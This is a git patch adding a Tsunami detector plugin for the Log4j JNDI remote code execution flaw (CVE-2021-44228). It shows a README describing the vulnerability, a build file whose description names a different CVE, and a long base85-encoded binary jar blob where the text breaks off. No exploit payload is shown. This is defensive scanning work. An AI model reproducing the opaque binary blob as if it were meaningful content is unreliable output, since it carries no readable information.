From 373978924bdf01568397121dce70282a637364d0 Mon Sep 17 00:00:00 2001 From: hh-hunter Date: Sat, 11 Dec 2021 15:28:13 +0800 Subject: [PATCH 1/4] add detectors for cve-2021-44228 plugins --- community/detectors/log4j_rce/README.md | 19 + community/detectors/log4j_rce/build.gradle | 83 ++++ .../gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 58910 bytes .../gradle/wrapper/gradle-wrapper.properties | 5 + community/detectors/log4j_rce/gradlew | 185 +++++++++ community/detectors/log4j_rce/gradlew.bat | 104 +++++ community/detectors/log4j_rce/settings.gradle | 2 + .../Cve202144228DetectorBootstrapModule.java | 31 ++ .../Cve202144228VulnDetector.java | 374 ++++++++++++++++++ .../cve202144228/crawl/CrawlConfigUtils.java | 44 +++ .../cve202144228/crawl/CrawlTargetUtils.java | 165 ++++++++ .../cves/cve202144228/crawl/CrawlUtils.java | 40 ++ .../cves/cve202144228/crawl/Crawler.java | 54 +++ .../cve202144228/crawl/CrawlerException.java | 23 ++ .../cves/cve202144228/crawl/ScopeUtils.java | 145 +++++++ .../cve202144228/crawl/SimpleCrawlAction.java | 163 ++++++++ .../cve202144228/crawl/SimpleCrawler.java | 99 +++++ .../crawl/SimpleCrawlerModule.java | 107 +++++ .../crawl/SimpleCrawlerResults.java | 50 +++ .../crawl/SimpleCrawlerSchedulingPool.java | 25 ++ .../crawl/SimpleCrawlerWorkerPool.java | 25 ++ .../Cve202144228VuLnDetectorTest.java | 187 +++++++++ 22 files changed, 1930 insertions(+) create mode 100644 community/detectors/log4j_rce/README.md create mode 100644 community/detectors/log4j_rce/build.gradle create mode 100644 community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.jar create mode 100644 community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.properties create mode 100755 community/detectors/log4j_rce/gradlew create mode 100644 community/detectors/log4j_rce/gradlew.bat create mode 100644 community/detectors/log4j_rce/settings.gradle create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228DetectorBootstrapModule.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlConfigUtils.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlTargetUtils.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlUtils.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/Crawler.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlerException.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/ScopeUtils.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlAction.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawler.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerModule.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerResults.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerSchedulingPool.java create mode 100644 community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerWorkerPool.java create mode 100644 community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java diff --git a/community/detectors/log4j_rce/README.md b/community/detectors/log4j_rce/README.md new file mode 100644 index 000000000..e7a27dfa6 --- /dev/null +++ b/community/detectors/log4j_rce/README.md @@ -0,0 +1,19 @@ +# CVE-2021-44228 VulnDetector + +This detector checks for Apache Log4j2 <=2.14.1 JNDI RCE vulnerability (CVE-2021-44228). +Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. +This issue is known to be exploited in the wild. +This issue is for Log4j2 <=2.14.1 versions. + +- https://logging.apache.org/log4j/2.x/security.html +- https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/log4j_rce/build.gradle b/community/detectors/log4j_rce/build.gradle new file mode 100644 index 000000000..38a616f08 --- /dev/null +++ b/community/detectors/log4j_rce/build.gradle @@ -0,0 +1,83 @@ +plugins { + id 'java-library' + id 'com.google.protobuf' version "0.8.14" +} + +description = 'Tsunami CVE-2021-29441 VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + + + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + source = '8' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = '0.0.4' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + okhttpVersion = '3.12.0' + protobufVersion = '3.11.4' + jsoupVersion = '1.9.2' +} + +protobuf { + protoc { + artifact = "com.google.protobuf:protoc:${protobufVersion}" + } +} +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation "com.google.protobuf:protobuf-java:${protobufVersion}" + implementation "com.google.protobuf:protobuf-javalite:${protobufVersion}" + implementation "com.google.protobuf:protobuf-java-util:${protobufVersion}" + implementation "org.jsoup:jsoup:${jsoupVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.jar b/community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000000000000000000000000000000000000..62d4c053550b91381bbd28b1afc82d634bf73a8a GIT binary patch literal 58910 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 